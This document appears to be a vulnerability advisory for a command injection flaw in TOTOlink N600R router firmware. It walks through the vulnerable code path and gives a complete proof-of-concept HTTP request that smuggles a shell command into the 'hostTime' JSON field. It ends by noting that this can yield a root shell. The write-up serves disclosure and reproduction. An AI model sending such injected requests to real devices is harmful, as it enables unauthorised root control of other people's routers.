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TOTOlink N600R V5.3c.7159_B20190425 Command injection vulnerability

Overview

1. Affected version

image-20220406182121036

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

image-20220406183146441

The content obtained by the program through the hosttime function is passed to V5, and then V5 passes the matched content to V10 through the sprintf function, and then brings V10 into the cstesystem function

image-20220406182546918

At this time, corresponding to the parameter A1, the function assigns A1 to the array of V9, and finally executes the command through the execv function. There is a command injection vulnerability

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

  1. Use the fat simulation firmware V5.3c.7159_B20190425
  2. Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 79
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647872744:2
Connection: close

{"topicurl":"setting/NTPSyncWithHost",
"hostTime":"test.com$(ls>/tmp/6.txt;)"}

The reproduction results are as follows:

image-20220406183233378

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell